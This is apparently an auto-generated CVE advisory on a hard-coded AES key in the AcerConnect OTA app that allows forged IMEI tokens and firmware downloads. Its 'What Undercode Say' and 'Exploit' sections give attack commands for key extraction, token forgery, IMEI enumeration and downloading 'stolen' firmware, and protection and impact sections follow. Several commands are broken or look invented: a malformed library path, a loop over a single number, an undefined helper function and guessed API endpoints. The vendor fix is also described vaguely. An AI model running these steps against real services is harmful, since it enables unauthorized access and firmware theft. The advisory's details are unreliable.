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Fixed AES-128-CBC keys inside the AcerConnect Over‑The‑Air (OTA) application let attackers forge authorization credentials for arbitrary IMEI numbers. This allows unauthorized actors to list catalog items and extract protected binaries from pre‑signed cloud links.
The vulnerability stems from a hard‑coded AES‑128‑CBC key embedded directly within the AcerConnect OTA application client. Because the same static key is used across all devices, any attacker who can reverse‑engineer the application binary can retrieve the key. With the key, the attacker can craft valid authentication tokens for any IMEI number, bypassing the intended device‑based access controls.
The AcerConnect OTA application is primarily used for firmware updates on devices such as the Acer Connect M6E 5G Portable WiFi Router. Its security architecture relies on the hard‑coded key to sign requests and authorize access to cloud‑hosted firmware binaries. Once the key is extracted, an attacker can impersonate any device (any IMEI) and directly call the backend APIs that list available firmware updates. From those listings, the attacker can download protected binary files from pre‑signed Amazon S3 (or similar) links. The flaw violates fundamental cryptographic key‑management principles (CWE‑321) and turns the entire authentication framework into a “shared secret” that is publicly discoverable.
This issue is remotely exploitable over the network and requires no user interaction, making it an attractive vector for large‑scale firmware theft. The resulting firmware dumps can be reverse‑engineered to uncover further vulnerabilities or be repackaged to deliver malicious implants in a supply‑chain attack. Acer has acknowledged the problem and fixed it by replacing the hard‑coded key with a secure key‑derivation mechanism or external key management system, typically delivered through a firmware update.
DailyCVE Form:
Platform: AcerConnect OTA
Version: M6E_AI_1.00.000019
Vulnerability : Hardcoded AES‑128‑CBC
Severity: 6.9 MEDIUM
date: 2026‑06‑04
Prediction: 2026‑06‑20
What Undercode Say:
Extract hardcoded AES key from AcerConnect OTA APK
unzip AcerConnect_OTA.apk -d ota_extract/
strings ota_extract/lib/.so | grep -E '[a-f0-9]{32,64}' --color=never
Use the extracted key to forge an IMEI token (pseudo‑code)
curl -X POST https://api.acerconnect.com/v1/firmware/list \
-H "X-IMEI: 123456789012345" \
-H "Authorization: Bearer $(echo -n 'imei=123456789012345' | openssl enc -aes-128-cbc -K <KEY> -iv <IV> | base64)"
Enumerate all firmware packages for any IMEI
for imei in $(seq 490154203237518 490154203237518); do
curl -s "https://api.acerconnect.com/v1/catalog?imei=${imei}" \
-H "Authorization: Bearer $(forge_token ${imei})"
done
Download protected binaries from pre‑signed cloud links
curl -L "https://s3.amazonaws.com/acer-firmware/Connect_M6E.bin?AWSAccessKeyId=...&Signature=..." \
-o stolen_firmware.bin
Exploit:
- Key extraction – Obtain the AcerConnect OTA APK or iOS IPA. Decompile and search for the hard‑coded 128‑bit AES key and IV.
- Credential forgery – Use the key to encrypt a payload containing a target IMEI number (e.g.,
imei=490154203237518). Base64‑encode the result to create a valid authentication token. - Catalog listing – Send HTTPS requests to the device registration API with the forged token and any IMEI. The API returns a JSON list of available firmware binaries and their pre‑signed download URLs.
- Binary extraction – Download the protected binaries directly from the cloud links, bypassing all ownership checks.
Protection:
- Update immediately – Install the latest AcerConnect OTA application (or router firmware) that replaces the hard‑coded key with a dynamic key‑derivation mechanism.
- Key rotation – Revoke all previously issued tokens and enforce a cryptographically sound key‑management policy.
- Network monitoring – Look for abnormal API requests that use the same authentication token across many different IMEI numbers.
- Code audit – Remove any static credential from client‑side code; use hardware security modules (HSM) or secure enclaves for key storage.
Impact:
- Firmware theft – Attackers can download proprietary firmware binaries, leading to intellectual property loss and facilitating reverse‑engineering.
- Supply‑chain attack – Stolen firmware can be repackaged with malware and distributed as “unauthorized updates” to compromise devices.
- IMEI spoofing – The ability to forge tokens for any IMEI enables device impersonation, billing fraud, and bypass of carrier blacklists.
- Lateral movement – Compromised firmware credentials may be reused to pivot into backend cloud systems or enterprise networks.
- No user interaction – The vulnerability is remotely exploitable without any user action, increasing the risk of widespread scanning and automated exploitation.
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Sources:
Reported By: nvd.nist.gov
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